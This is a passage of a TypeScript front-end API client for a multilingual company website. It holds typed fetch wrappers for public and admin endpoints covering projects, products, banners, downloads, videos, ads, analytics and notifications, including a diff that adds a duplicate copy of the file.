images: { id: number; image_url: string; caption?: string }[];
}
export interface SolutionAdmin {
id: number;
title_ko: string;
title_en?: string;
title_ja?: string;
title_zh?: string;
subtitle_ko?: string;
subtitle_en?: string;
subtitle_ja?: string;
subtitle_zh?: string;
description_ko?: string;
description_en?: string;
description_ja?: string;
description_zh?: string;
features_ko?: string;
features_en?: string;
features_ja?: string;
features_zh?: string;
icon?: string;
color?: string;
main_image?: string;
is_active: boolean;
display_order: number;
images: { id: number; image_url: string; caption_ko?: string; caption_en?: string; caption_ja?: string; caption_zh?: string }[];
}
export const solutionsApi = {
// Public
getAll: (lang: string = "ko") =>
fetchApi<Solution[]>(`/solutions/?lang=${lang}`),
getOne: (id: number, lang: string = "ko") =>
fetchApi<Solution>(`/solutions/${id}?lang=${lang}`),
// Admin
adminGetAll: (token: string) =>
fetchApi<SolutionAdmin[]>("/solutions/admin/list", { token }),
adminGetOne: (id: number, token: string) =>
fetchApi<SolutionAdmin>(`/solutions/admin/${id}`, { token }),
adminCreate: (data: Partial<SolutionAdmin>, token: string) =>
fetchApi<SolutionAdmin>("/solutions/admin", {
method: "POST",
body: JSON.stringify(data),
token,
}),
adminUpdate: (id: number, data: Partial<SolutionAdmin>, token: string) =>
fetchApi<SolutionAdmin>(`/solutions/admin/${id}`, {
method: "PUT",
body: JSON.stringify(data),
token,
}),
adminDelete: (id: number, token: string) =>
fetchApi<{ message: string }>(`/solutions/admin/${id}`, {
method: "DELETE",
token,
}),
adminUploadImage: async (solutionId: number, file: File, isMain: boolean, token: string) => {
const formData = new FormData();
formData.append("file", file);
const response = await fetch(
`${API_BASE_URL}/solutions/admin/${solutionId}/upload-image?is_main=${isMain}`,
{
method: "POST",
headers: { Authorization: `Bearer ${token}` },
body: formData,
}
);
if (!response.ok) {
const error = await response.json().catch(() => ({ detail: "Upload failed" }));
throw new Error(error.detail);
}
return response.json();
},
adminDeleteImage: (imageId: number, token: string) =>
fetchApi<{ message: string }>(`/solutions/admin/images/${imageId}`, {
method: "DELETE",
token,
}),
};
// Product API
export interface Product {
id: number;
name: string;
category?: string;
description?: string;
detail?: string;
specifications?: string;
icon?: string;
main_image?: string;
images: { id: number; image_url: string; caption?: string }[];
}
export interface ProductAdmin {
id: number;
name_ko: string;
name_en?: string;
name_ja?: string;
name_zh?: string;
category_ko?: string;
category_en?: string;
category_ja?: string;
category_zh?: string;
description_ko?: string;
description_en?: string;
description_ja?: string;
description_zh?: string;
detail_ko?: string;
detail_en?: string;
detail_ja?: string;
detail_zh?: string;
specifications?: string;
icon?: string;
main_image?: string;
is_active: boolean;
display_order: number;
images: { id: number; image_url: string; caption_ko?: string; caption_en?: string; caption_ja?: string; caption_zh?: string }[];
}
export const productsApi = {
// Public
getAll: (lang: string = "ko") =>
fetchApi<Product[]>(`/products/?lang=${lang}`),
getOne: (id: number, lang: string = "ko") =>
fetchApi<Product>(`/products/${id}?lang=${lang}`),
// Admin
adminGetAll: (token: string) =>
fetchApi<ProductAdmin[]>("/products/admin/list", { token }),
adminGetOne: (id: number, token: string) =>
fetchApi<ProductAdmin>(`/products/admin/${id}`, { token }),
adminCreate: (data: Partial<ProductAdmin>, token: string) =>
fetchApi<ProductAdmin>("/products/admin", {
method: "POST",
body: JSON.stringify(data),
token,
}),
adminUpdate: (id: number, data: Partial<ProductAdmin>, token: string) =>
fetchApi<ProductAdmin>(`/products/admin/${id}`, {
method: "PUT",
body: JSON.stringify(data),
token,
}),
adminDelete: (id: number, token: string) =>
fetchApi<{ message: string }>(`/products/admin/${id}`, {
method: "DELETE",
token,
}),
adminUploadImage: async (productId: number, file: File, isMain: boolean, token: string) => {
const formData = new FormData();
formData.append("file", file);
const response = await fetch(
`${API_BASE_URL}/products/admin/${productId}/upload-image?is_main=${isMain}`,
{
method: "POST",
headers: { Authorization: `Bearer ${token}` },
body: formData,
}
);
if (!response.ok) {
const error = await response.json().catch(() => ({ detail: "Upload failed" }));
throw new Error(error.detail);
}
return response.json();
},
adminDeleteImage: (imageId: number, token: string) =>
fetchApi<{ message: string }>(`/products/admin/images/${imageId}`, {
method: "DELETE",
token,
}),
};
// Contact API
export interface ContactSettings {
phone?: string;
email?: string;
address?: string;
weekday_hours?: string;
weekend_hours?: string;
}
export interface ContactSettingsAdmin {
id: number;
phone?: string;
email?: string;
address_ko?: string;
address_en?: string;
address_ja?: string;
address_zh?: string;
weekday_hours?: string;
weekend_hours?: string;
}
export interface ContactInquiry {
id: number;
name: string;
email: string;
phone?: string;
company?: string;
message: string;
status: string;
created_at?: string;
}
export const contactApi = {
// Public
getSettings: (lang: string = "ko") =>
fetchApi<ContactSettings>(`/contact/settings?lang=${lang}`),
submitInquiry: (data: { name: string; email: string; phone?: string; company?: string; message: string }) =>
fetchApi<ContactInquiry>("/contact/inquiry", {
method: "POST",
body: JSON.stringify(data),
}),
// Admin
adminGetSettings: (token: string) =>
fetchApi<ContactSettingsAdmin>("/contact/admin/settings", { token }),
adminUpdateSettings: (data: Partial<ContactSettingsAdmin>, token: string) =>
fetchApi<ContactSettingsAdmin>("/contact/admin/settings", {
method: "PUT",
body: JSON.stringify(data),
token,
}),
adminGetInquiries: (token: string, status?: string) => {
const params = status ? `?status=${status}` : "";
return fetchApi<ContactInquiry[]>(`/contact/admin/inquiries${params}`, { token });
},
adminGetInquiry: (id: number, token: string) =>
fetchApi<ContactInquiry>(`/contact/admin/inquiries/${id}`, { token }),
adminDeleteInquiry: (id: number, token: string) =>
fetchApi<{ message: string }>(`/contact/admin/inquiries/${id}`, {
method: "DELETE",
token,
}),
adminUpdateInquiryStatus: (id: number, status: string, token: string) =>
fetchApi<ContactInquiry>(`/contact/admin/inquiries/${id}/status`, {
method: "PUT",
body: JSON.stringify({ status }),
token,
}),
};
// Banner API
export const bannerApi = {
// Public
getAll: (lang: string = "ko") =>
fetchApi<Banner[]>(`/banners/?lang=${lang}`),
adminGetSettings: (token: string) =>
fetchApi<BannerSettings>("/banners/admin/settings", { token }),
getSettings: () =>
fetchApi<BannerSettings>("/banners/settings"),
// Admin
adminGetAll: (token: string) =>
fetchApi<BannerAdmin[]>("/banners/admin/list", { token }),
adminGetOne: (id: number, token: string) =>
fetchApi<BannerAdmin>(`/banners/admin/${id}`, { token }),
adminCreate: (data: Partial<BannerAdmin>, token: string) =>
fetchApi<BannerAdmin>("/banners/admin", {
method: "POST",
body: JSON.stringify(data),
token,
}),
adminUpdate: (id: number, data: Partial<BannerAdmin>, token: string) =>
fetchApi<BannerAdmin>(`/banners/admin/${id}`, {
method: "PUT",
body: JSON.stringify(data),
token,
}),
adminDelete: (id: number, token: string) =>
fetchApi<{ message: string }>(`/banners/admin/${id}`, {
method: "DELETE",
token,
}),
adminUploadImage: async (file: File, token: string) => {
const formData = new FormData();
formData.append("file", file);
const response = await fetch(
`${API_BASE_URL}/banners/admin/upload-image`,
{
method: "POST",
headers: { Authorization: `Bearer ${token}` },
body: formData,
}
);
if (!response.ok) {
const error = await response.json().catch(() => ({ detail: "Upload failed" }));
throw new Error(error.detail);
}
return response.json();
},
adminUpdateSettings: (data: Partial<BannerSettings>, token: string) =>
fetchApi<BannerSettings>("/banners/admin/settings", {
method: "PUT",
body: JSON.stringify(data),
token,
}),
};
// Downloads API
export interface Download {
id: number;
title: string;
description?: string;
category?: string;
file_url: string;
thumbnail?: string;
download_count: number;
version?: string;
file_size?: number;
}
export interface DownloadAdmin {
id: number;
title_ko: string;
title_en?: string;
title_ja?: string;
title_zh?: string;
description_ko?: string;
description_en?: string;
description_ja?: string;
description_zh?: string;
category_ko?: string;
category_en?: string;
category_ja?: string;
category_zh?: string;
file_url: string;
file_name?: string;
file_size?: number;
version?: string;
thumbnail?: string;
is_active: boolean;
display_order: number;
download_count: number;
}
export interface DownloadRequest {
id: number;
download_id: number;
download_title?: string;
email: string;
newsletter_agreed: boolean;
country?: string;
country_code?: string;
requested_at?: string;
}
export const downloadsApi = {
// Public
getAll: (lang: string = "ko") =>
fetchApi<Download[]>(`/downloads/?lang=${lang}`),
getOne: (id: number, lang: string = "ko") =>
fetchApi<Download>(`/downloads/${id}?lang=${lang}`),
requestDownload: (id: number, email?: string, newsletterAgreed?: boolean, skipEmail?: boolean) =>
fetchApi<{ download_url: string; file_name: string }>(`/downloads/${id}/request`, {
method: "POST",
body: JSON.stringify({
email: email || null,
newsletter_agreed: newsletterAgreed || false,
skip_email: skipEmail || false
}),
}),
// Admin
adminGetAll: (token: string) =>
fetchApi<DownloadAdmin[]>("/downloads/admin/list", { token }),
adminGetOne: (id: number, token: string) =>
fetchApi<DownloadAdmin>(`/downloads/admin/${id}`, { token }),
adminCreate: (data: Partial<DownloadAdmin>, token: string) =>
fetchApi<DownloadAdmin>("/downloads/admin", {
method: "POST",
body: JSON.stringify(data),
token,
}),
adminUpdate: (id: number, data: Partial<DownloadAdmin>, token: string) =>
fetchApi<DownloadAdmin>(`/downloads/admin/${id}`, {
method: "PUT",
body: JSON.stringify(data),
token,
}),
adminDelete: (id: number, token: string) =>
fetchApi<{ message: string }>(`/downloads/admin/${id}`, {
method: "DELETE",
token,
}),
adminUpload: async (file: File, fileType: string = "file", token: string) => {
const formData = new FormData();
formData.append("file", file);
const response = await fetch(
`${API_BASE_URL}/downloads/admin/upload?file_type=${fileType}`,
{
method: "POST",
headers: { Authorization: `Bearer ${token}` },
body: formData,
}
);
if (!response.ok) {
const error = await response.json().catch(() => ({ detail: "Upload failed" }));
throw new Error(error.detail);
}
return response.json();
},
adminGetRequests: (token: string, newsletterOnly: boolean = false) =>
fetchApi<DownloadRequest[]>(`/downloads/admin/requests?newsletter_only=${newsletterOnly}`, { token }),
adminGetStats: (token: string) =>
fetchApi<{ total_requests: number; newsletter_subscribers: number; unique_emails: number }>(
"/downloads/admin/requests/stats",
{ token }
),
};
// Content Videos API (YouTube)
export interface ContentVideo {
id: number;
youtube_id: string;
title_ko: string;
title_en?: string;
title_ja?: string;
title_zh?: string;
description_ko?: string;
description_en?: string;
description_ja?: string;
description_zh?: string;
entity_type: "project" | "solution" | "product";
entity_id: number;
display_order: number;
is_active: boolean;
youtube_url: string;
youtube_embed_url: string;
thumbnail_url: string;
created_at?: string;
updated_at?: string;
}
export interface ContentVideoPublic {
id: number;
youtube_id: string;
title: string;
description?: string;
youtube_url: string;
youtube_embed_url: string;
thumbnail_url: string;
display_order: number;
}
export interface ContentVideoCreate {
youtube_id: string;
title_ko: string;
title_en?: string;
title_ja?: string;
title_zh?: string;
description_ko?: string;
description_en?: string;
description_ja?: string;
description_zh?: string;
entity_type: "project" | "solution" | "product";
entity_id: number;
display_order?: number;
is_active?: boolean;
}
export const contentVideosApi = {
// Public
getForEntity: (entityType: string, entityId: number, locale: string = "ko") =>
fetchApi<ContentVideoPublic[]>(
`/content-videos/entity/${entityType}/${entityId}?locale=${locale}`
),
// Admin
adminList: (token: string, entityType?: string, entityId?: number) => {
const params = new URLSearchParams();
if (entityType) params.append("entity_type", entityType);
if (entityId) params.append("entity_id", entityId.toString());
const query = params.toString();
return fetchApi<ContentVideo[]>(
`/content-videos/admin/list${query ? "?" + query : ""}`,
{ token }
);
},
adminGet: (id: number, token: string) =>
fetchApi<ContentVideo>(`/content-videos/admin/${id}`, { token }),
adminCreate: (data: ContentVideoCreate, token: string) =>
fetchApi<ContentVideo>("/content-videos/admin", {
method: "POST",
body: JSON.stringify(data),
token,
}),
adminUpdate: (id: number, data: Partial<ContentVideoCreate>, token: string) =>
fetchApi<ContentVideo>(`/content-videos/admin/${id}`, {
method: "PUT",
body: JSON.stringify(data),
token,
}),
adminDelete: (id: number, token: string) =>
fetchApi<{ message: string }>(`/content-videos/admin/${id}`, {
method: "DELETE",
token,
}),
adminReorder: (entityType: string, entityId: number, videoIds: number[], token: string) =>
fetchApi<{ message: string }>(
`/content-videos/admin/reorder?entity_type=${entityType}&entity_id=${entityId}`,
{
method: "PUT",
body: JSON.stringify(videoIds),
token,
}
),
};
// App Ads API
export interface AppAd {
id: number;
title: string;
app_type: string;
slot: number;
image?: string;
link_url?: string;
is_active: boolean;
click_count: number;
impression_count: number;
created_at?: string;
}
export interface AppSettings {
id: number;
app_type: string;
footer_text: string;
footer_url: string;
}
export const appAdsApi = {
// Public
getForApp: (appType: string, slot: number) =>
fetchApi<AppAd | null>(`/app-ads/public/${appType}/${slot}`),
recordImpression: (adId: number) =>
fetchApi<{ success: boolean }>(`/app-ads/public/${adId}/impression`, {
method: "POST",
}),
recordClick: (adId: number) =>
fetchApi<{ success: boolean }>(`/app-ads/public/${adId}/click`, {
method: "POST",
}),
getSettings: (appType: string, token?: string) =>
fetchApi<AppSettings>(`/app-ads/settings/${appType}`, { token }),
// Admin
adminGetAll: (token: string) =>
fetchApi<AppAd[]>("/app-ads/admin/list", { token }),
adminCreate: (data: Partial<AppAd>, token: string) =>
fetchApi<AppAd>("/app-ads/admin", {
method: "POST",
body: JSON.stringify(data),
token,
}),
adminUpdate: (id: number, data: Partial<AppAd>, token: string) =>
fetchApi<AppAd>(`/app-ads/admin/${id}`, {
method: "PUT",
body: JSON.stringify(data),
token,
}),
adminDelete: (id: number, token: string) =>
fetchApi<{ message: string }>(`/app-ads/admin/${id}`, {
method: "DELETE",
token,
}),
adminUploadImage: async (file: File, token: string) => {
const formData = new FormData();
formData.append("file", file);
const response = await fetch(
`${API_BASE_URL}/app-ads/admin/upload-image`,
{
method: "POST",
headers: { Authorization: `Bearer ${token}` },
body: formData,
}
);
if (!response.ok) {
const error = await response.json().catch(() => ({ detail: "Upload failed" }));
throw new Error(error.detail);
}
return response.json();
},
updateSettings: (appType: string, data: Partial<AppSettings>, token: string) =>
fetchApi<AppSettings>(`/app-ads/settings/${appType}`, {
method: "PUT",
body: JSON.stringify(data),
token,
}),
};
// Visitors API
export interface OverviewStats {
total_visits: number;
unique_visitors: number;
pages_per_visit: number;
today_visitors: number;
growth_rate: number;
mobile_percentage: number;
}
export interface ChartData {
labels: string[];
data: number[];
}
export interface BreakdownData {
items: { name: string; count: number; percentage: number }[];
}
export interface TopPagesData {
pages: { path: string; count: number }[];
}
export interface TopReferrersData {
referrers: { domain: string; count: number }[];
}
export interface RealtimeStats {
active_visitors: number;
recent_pages: { path: string; time: string }[];
}
export interface CountryStats {
country_code: string;
country: string;
visitor_count: number;
}
export const visitorsApi = {
// Public
track: () =>
fetchApi<{ success: boolean }>("/visitors/track", {
method: "POST",
}),
// Admin
adminGetOverview: (token: string, days: number = 30) =>
fetchApi<OverviewStats>(`/visitors/admin/overview?days=${days}`, { token }),
adminGetVisitsChart: (token: string, days: number = 30) =>
fetchApi<ChartData>(`/visitors/admin/chart/visits?days=${days}`, { token }),
adminGetUniqueChart: (token: string, days: number = 30) =>
fetchApi<ChartData>(`/visitors/admin/chart/unique?days=${days}`, { token }),
adminGetDeviceBreakdown: (token: string, days: number = 30) =>
fetchApi<BreakdownData>(`/visitors/admin/breakdown/device?days=${days}`, { token }),
adminGetBrowserBreakdown: (token: string, days: number = 30) =>
fetchApi<BreakdownData>(`/visitors/admin/breakdown/browser?days=${days}`, { token }),
adminGetOsBreakdown: (token: string, days: number = 30) =>
fetchApi<BreakdownData>(`/visitors/admin/breakdown/os?days=${days}`, { token }),
adminGetTopPages: (token: string, days: number = 30) =>
fetchApi<TopPagesData>(`/visitors/admin/top-pages?days=${days}`, { token }),
adminGetTopReferrers: (token: string, days: number = 30) =>
fetchApi<TopReferrersData>(`/visitors/admin/top-referrers?days=${days}`, { token }),
adminGetRealtime: (token: string) =>
fetchApi<RealtimeStats>("/visitors/admin/realtime", { token }),
adminGetCountryStats: (token: string) =>
fetchApi<CountryStats[]>("/visitors/admin/countries", { token }),
adminGetStats: (token: string) =>
fetchApi<VisitorStats>("/visitors/admin/stats", { token }),
};
// Alias for bannersApi (some components use this name)
export const bannersApi = bannerApi;
// Notifications API
export interface NotificationSettings {
id: number;
email_enabled: boolean;
smtp_server: string;
smtp_port: number;
smtp_username: string;
smtp_password: string;
admin_email: string;
kakao_enabled: boolean;
kakao_webhook_url: string;
}
export const notificationApi = {
getSettings: (token: string) =>
fetchApi<NotificationSettings>("/notifications/settings", { token }),
updateSettings: (data: Partial<NotificationSettings>, token: string) =>
fetchApi<NotificationSettings>("/notifications/settings", {
method: "PUT",
body: JSON.stringify(data),
token,
}),
testEmail: (token: string) =>
fetchApi<{ success: boolean; message: string }>("/notifications/test/email", {
method: "POST",
token,
}),
testKakao: (token: string) =>
fetchApi<{ success: boolean; message: string }>("/notifications/test/kakao", {
method: "POST",
token,
}),
testNotification: (type: string, token: string) =>
fetchApi<{ success: boolean; message: string }>(`/notifications/test/${type}`, {
method: "POST",
token,
}),
};
// VisitorStats interface (used in admin page)
export interface VisitorStats {
total_visitors: number;
today_visitors: number;
}

762
temp_grantech_api.ts Normal file
View File

@@ -0,0 +1,762 @@
const API_BASE_URL = process.env.NEXT_PUBLIC_API_URL || "http://localhost:8001/api";
interface FetchOptions extends RequestInit {
token?: string;
}
async function fetchApi<T>(endpoint: string, options: FetchOptions = {}): Promise<T> {
const { token, ...fetchOptions } = options;
const headers: HeadersInit = {
"Content-Type": "application/json",
...options.headers,
};
if (token) {
(headers as Record<string, string>)["Authorization"] = `Bearer ${token}`;
}
const response = await fetch(`${API_BASE_URL}${endpoint}`, {
...fetchOptions,
headers,
});
if (!response.ok) {
const error = await response.json().catch(() => ({ detail: "Unknown error" }));
const errorMessage = typeof error.detail === 'string'
? error.detail
: JSON.stringify(error.detail) || `HTTP error! status: ${response.status}`;
throw new Error(errorMessage);
}
return response.json();
}
// Auth API
export const authApi = {
login: (username: string, password: string) =>
fetchApi<{ access_token: string; token_type: string }>("/auth/login", {
method: "POST",
body: JSON.stringify({ username, password }),
}),
getMe: (token: string) =>
fetchApi<{ id: number; username: string }>("/auth/me", { token }),
};
// Projects API (Public)
export interface Project {
id: number;
title: string;
subtitle?: string;
description?: string;
client?: string;
period?: string;
year?: number;
category?: string;
main_image?: string;
is_featured: boolean;
images: { id: number; image_url: string; caption?: string }[];
}
export interface ProjectAdmin {
id: number;
title_ko: string;
title_en?: string;
title_ja?: string;
title_zh?: string;
subtitle_ko?: string;
subtitle_en?: string;
subtitle_ja?: string;
subtitle_zh?: string;
description_ko?: string;
description_en?: string;
description_ja?: string;
description_zh?: string;
client?: string;
period?: string;
year?: number;
category?: string;
main_image?: string;
is_featured: boolean;
is_active: boolean;
display_order: number;
images: { id: number; image_url: string; caption_ko?: string; caption_en?: string; caption_ja?: string; caption_zh?: string }[];
}
export const projectsApi = {
// Public
getAll: (lang: string = "ko", category?: string) => {
const params = new URLSearchParams({ lang });
if (category) params.append("category", category);
return fetchApi<Project[]>(`/projects/?${params}`);
},
getOne: (id: number, lang: string = "ko") =>
fetchApi<Project>(`/projects/${id}?lang=${lang}`),
// Admin
adminGetAll: (token: string) =>
fetchApi<ProjectAdmin[]>("/projects/admin/list", { token }),
adminGetOne: (id: number, token: string) =>
fetchApi<ProjectAdmin>(`/projects/admin/${id}`, { token }),
adminCreate: (data: Partial<ProjectAdmin>, token: string) =>
fetchApi<ProjectAdmin>("/projects/admin", {
method: "POST",
body: JSON.stringify(data),
token,
}),
adminUpdate: (id: number, data: Partial<ProjectAdmin>, token: string) =>
fetchApi<ProjectAdmin>(`/projects/admin/${id}`, {
method: "PUT",
body: JSON.stringify(data),
token,
}),
adminDelete: (id: number, token: string) =>
fetchApi<{ message: string }>(`/projects/admin/${id}`, {
method: "DELETE",
token,
}),
adminUploadImage: async (projectId: number, file: File, isMain: boolean, token: string) => {
const formData = new FormData();
formData.append("file", file);
const response = await fetch(
`${API_BASE_URL}/projects/admin/${projectId}/upload-image?is_main=${isMain}`,
{
method: "POST",
headers: {
Authorization: `Bearer ${token}`,
},
body: formData,
}
);
if (!response.ok) {
const error = await response.json().catch(() => ({ detail: "Upload failed" }));
throw new Error(error.detail);
}
return response.json();
},
adminDeleteImage: (imageId: number, token: string) =>
fetchApi<{ message: string }>(`/projects/admin/images/${imageId}`, {
method: "DELETE",
token,
}),
};
// Get upload URL
export function getUploadUrl(path: string): string {
if (!path) return "";
if (path.startsWith("http")) return path;
const baseUrl = process.env.NEXT_PUBLIC_API_URL?.replace(/\/api$/, "") || "http://localhost:8001";
// Handle API endpoints (e.g., /api/downloads/1/file)
if (path.startsWith("/api/")) {
return `${baseUrl}${path}`;
}
// Remove leading slash from path to avoid double slashes
const cleanPath = path.startsWith("/") ? path.slice(1) : path;
return `${baseUrl}/${cleanPath}`;
}
// Banner API
export interface Banner {
id: number;
title?: string;
subtitle?: string;
image_url: string;
link_url?: string;
}
export interface BannerAdmin {
id: number;
title_ko?: string;
title_en?: string;
title_ja?: string;
title_zh?: string;
subtitle_ko?: string;
subtitle_en?: string;
subtitle_ja?: string;
subtitle_zh?: string;
image_url: string;
link_url?: string;
is_active: boolean;
display_order: number;
}
export interface BannerSettings {
id: number;
transition_type: "fade" | "slide";
slide_interval: number;
}
// Solution API
export interface Solution {
id: number;
title: string;
subtitle?: string;
description?: string;
features: string[];
icon?: string;
color?: string;
main_image?: string;
images: { id: number; image_url: string; caption?: string }[];
}
export interface SolutionAdmin {
id: number;
title_ko: string;
title_en?: string;
title_ja?: string;
title_zh?: string;
subtitle_ko?: string;
subtitle_en?: string;
subtitle_ja?: string;
subtitle_zh?: string;
description_ko?: string;
description_en?: string;
description_ja?: string;
description_zh?: string;
features_ko?: string;
features_en?: string;
features_ja?: string;
features_zh?: string;
icon?: string;
color?: string;
main_image?: string;
is_active: boolean;
display_order: number;
images: { id: number; image_url: string; caption_ko?: string; caption_en?: string; caption_ja?: string; caption_zh?: string }[];
}
export const solutionsApi = {
// Public
getAll: (lang: string = "ko") =>
fetchApi<Solution[]>(`/solutions/?lang=${lang}`),
getOne: (id: number, lang: string = "ko") =>
fetchApi<Solution>(`/solutions/${id}?lang=${lang}`),
// Admin
adminGetAll: (token: string) =>
fetchApi<SolutionAdmin[]>("/solutions/admin/list", { token }),
adminGetOne: (id: number, token: string) =>
fetchApi<SolutionAdmin>(`/solutions/admin/${id}`, { token }),
adminCreate: (data: Partial<SolutionAdmin>, token: string) =>
fetchApi<SolutionAdmin>("/solutions/admin", {
method: "POST",
body: JSON.stringify(data),
token,
}),
adminUpdate: (id: number, data: Partial<SolutionAdmin>, token: string) =>
fetchApi<SolutionAdmin>(`/solutions/admin/${id}`, {
method: "PUT",
body: JSON.stringify(data),
token,
}),
adminDelete: (id: number, token: string) =>
fetchApi<{ message: string }>(`/solutions/admin/${id}`, {
method: "DELETE",
token,
}),
adminUploadImage: async (solutionId: number, file: File, isMain: boolean, token: string) => {
const formData = new FormData();
formData.append("file", file);
const response = await fetch(
`${API_BASE_URL}/solutions/admin/${solutionId}/upload-image?is_main=${isMain}`,
{
method: "POST",
headers: { Authorization: `Bearer ${token}` },
body: formData,
}
);
if (!response.ok) {
const error = await response.json().catch(() => ({ detail: "Upload failed" }));
throw new Error(error.detail);
}
return response.json();
},
adminDeleteImage: (imageId: number, token: string) =>
fetchApi<{ message: string }>(`/solutions/admin/images/${imageId}`, {
method: "DELETE",
token,
}),
};
// Product API
export interface Product {
id: number;
name: string;
category?: string;
description?: string;
detail?: string;
specifications?: string;
icon?: string;
main_image?: string;
images: { id: number; image_url: string; caption?: string }[];
}
export interface ProductAdmin {
id: number;
name_ko: string;
name_en?: string;
name_ja?: string;
name_zh?: string;
category_ko?: string;
category_en?: string;
category_ja?: string;
category_zh?: string;
description_ko?: string;
description_en?: string;
description_ja?: string;
description_zh?: string;
detail_ko?: string;
detail_en?: string;
detail_ja?: string;
detail_zh?: string;
specifications?: string;
icon?: string;
main_image?: string;
is_active: boolean;
display_order: number;
images: { id: number; image_url: string; caption_ko?: string; caption_en?: string; caption_ja?: string; caption_zh?: string }[];
}
export const productsApi = {
// Public
getAll: (lang: string = "ko") =>
fetchApi<Product[]>(`/products/?lang=${lang}`),
getOne: (id: number, lang: string = "ko") =>
fetchApi<Product>(`/products/${id}?lang=${lang}`),
// Admin
adminGetAll: (token: string) =>
fetchApi<ProductAdmin[]>("/products/admin/list", { token }),
adminGetOne: (id: number, token: string) =>
fetchApi<ProductAdmin>(`/products/admin/${id}`, { token }),
adminCreate: (data: Partial<ProductAdmin>, token: string) =>
fetchApi<ProductAdmin>("/products/admin", {
method: "POST",
body: JSON.stringify(data),
token,
}),
adminUpdate: (id: number, data: Partial<ProductAdmin>, token: string) =>
fetchApi<ProductAdmin>(`/products/admin/${id}`, {
method: "PUT",
body: JSON.stringify(data),
token,
}),
adminDelete: (id: number, token: string) =>
fetchApi<{ message: string }>(`/products/admin/${id}`, {
method: "DELETE",
token,
}),
adminUploadImage: async (productId: number, file: File, isMain: boolean, token: string) => {
const formData = new FormData();
formData.append("file", file);
const response = await fetch(
`${API_BASE_URL}/products/admin/${productId}/upload-image?is_main=${isMain}`,
{
method: "POST",
headers: { Authorization: `Bearer ${token}` },
body: formData,
}
);
if (!response.ok) {
const error = await response.json().catch(() => ({ detail: "Upload failed" }));
throw new Error(error.detail);
}
return response.json();
},
adminDeleteImage: (imageId: number, token: string) =>
fetchApi<{ message: string }>(`/products/admin/images/${imageId}`, {
method: "DELETE",
token,
}),
};
// Contact API
export interface ContactSettings {
phone?: string;
email?: string;
address?: string;
weekday_hours?: string;
weekend_hours?: string;
}
export interface ContactSettingsAdmin {
id: number;
phone?: string;
email?: string;
address_ko?: string;
address_en?: string;
address_ja?: string;
address_zh?: string;
weekday_hours?: string;
weekend_hours?: string;
}
export interface ContactInquiry {
id: number;
name: string;
email: string;
phone?: string;
company?: string;
message: string;
status: string;
created_at?: string;
}
export const contactApi = {
// Public
getSettings: (lang: string = "ko") =>
fetchApi<ContactSettings>(`/contact/settings?lang=${lang}`),
submitInquiry: (data: { name: string; email: string; phone?: string; company?: string; message: string }) =>
fetchApi<ContactInquiry>("/contact/inquiry", {
method: "POST",
body: JSON.stringify(data),
}),
// Admin
adminGetSettings: (token: string) =>
fetchApi<ContactSettingsAdmin>("/contact/admin/settings", { token }),
adminUpdateSettings: (data: Partial<ContactSettingsAdmin>, token: string) =>
fetchApi<ContactSettingsAdmin>("/contact/admin/settings", {
method: "PUT",
body: JSON.stringify(data),
token,
}),
adminGetInquiries: (token: string, status?: string) => {
const params = status ? `?status=${status}` : "";
return fetchApi<ContactInquiry[]>(`/contact/admin/inquiries${params}`, { token });
},
adminGetInquiry: (id: number, token: string) =>
fetchApi<ContactInquiry>(`/contact/admin/inquiries/${id}`, { token }),
adminUpdateInquiryStatus: (id: number, status: string, token: string) =>
fetchApi<ContactInquiry>(`/contact/admin/inquiries/${id}/status`, {
method: "PUT",
body: JSON.stringify({ status }),
token,
}),
};
// Banner API
export const bannerApi = {
// Public
getAll: (lang: string = "ko") =>
fetchApi<Banner[]>(`/banners/?lang=${lang}`),
getSettings: () =>
fetchApi<BannerSettings>("/banners/settings"),
// Admin
adminGetAll: (token: string) =>
fetchApi<BannerAdmin[]>("/banners/admin/list", { token }),
adminGetOne: (id: number, token: string) =>
fetchApi<BannerAdmin>(`/banners/admin/${id}`, { token }),
adminCreate: (data: Partial<BannerAdmin>, token: string) =>
fetchApi<BannerAdmin>("/banners/admin", {
method: "POST",
body: JSON.stringify(data),
token,
}),
adminUpdate: (id: number, data: Partial<BannerAdmin>, token: string) =>
fetchApi<BannerAdmin>(`/banners/admin/${id}`, {
method: "PUT",
body: JSON.stringify(data),
token,
}),
adminDelete: (id: number, token: string) =>
fetchApi<{ message: string }>(`/banners/admin/${id}`, {
method: "DELETE",
token,
}),
adminUploadImage: async (file: File, token: string) => {
const formData = new FormData();
formData.append("file", file);
const response = await fetch(
`${API_BASE_URL}/banners/admin/upload-image`,
{
method: "POST",
headers: { Authorization: `Bearer ${token}` },
body: formData,
}
);
if (!response.ok) {
const error = await response.json().catch(() => ({ detail: "Upload failed" }));
throw new Error(error.detail);
}
return response.json();
},
adminUpdateSettings: (data: Partial<BannerSettings>, token: string) =>
fetchApi<BannerSettings>("/banners/admin/settings", {
method: "PUT",
body: JSON.stringify(data),
token,
}),
};
// Downloads API
export interface Download {
id: number;
title: string;
description?: string;
category?: string;
file_url: string;
thumbnail?: string;
download_count: number;
}
export interface DownloadAdmin {
id: number;
title_ko: string;
title_en?: string;
title_ja?: string;
title_zh?: string;
description_ko?: string;
description_en?: string;
description_ja?: string;
description_zh?: string;
category_ko?: string;
category_en?: string;
category_ja?: string;
category_zh?: string;
file_url: string;
file_name?: string;
file_size?: number;
version?: string;
thumbnail?: string;
is_active: boolean;
display_order: number;
download_count: number;
}
export interface DownloadRequest {
id: number;
download_id: number;
download_title?: string;
email: string;
newsletter_agreed: boolean;
country?: string;
country_code?: string;
requested_at?: string;
}
export const downloadsApi = {
// Public
getAll: (lang: string = "ko") =>
fetchApi<Download[]>(`/downloads/?lang=${lang}`),
getOne: (id: number, lang: string = "ko") =>
fetchApi<Download>(`/downloads/${id}?lang=${lang}`),
requestDownload: (id: number, email?: string, newsletterAgreed?: boolean, skipEmail?: boolean) =>
fetchApi<{ download_url: string; file_name: string }>(`/downloads/${id}/request`, {
method: "POST",
body: JSON.stringify({
email: email || null,
newsletter_agreed: newsletterAgreed || false,
skip_email: skipEmail || false
}),
}),
// Admin
adminGetAll: (token: string) =>
fetchApi<DownloadAdmin[]>("/downloads/admin/list", { token }),
adminGetOne: (id: number, token: string) =>
fetchApi<DownloadAdmin>(`/downloads/admin/${id}`, { token }),
adminCreate: (data: Partial<DownloadAdmin>, token: string) =>
fetchApi<DownloadAdmin>("/downloads/admin", {
method: "POST",
body: JSON.stringify(data),
token,
}),
adminUpdate: (id: number, data: Partial<DownloadAdmin>, token: string) =>
fetchApi<DownloadAdmin>(`/downloads/admin/${id}`, {
method: "PUT",
body: JSON.stringify(data),
token,
}),
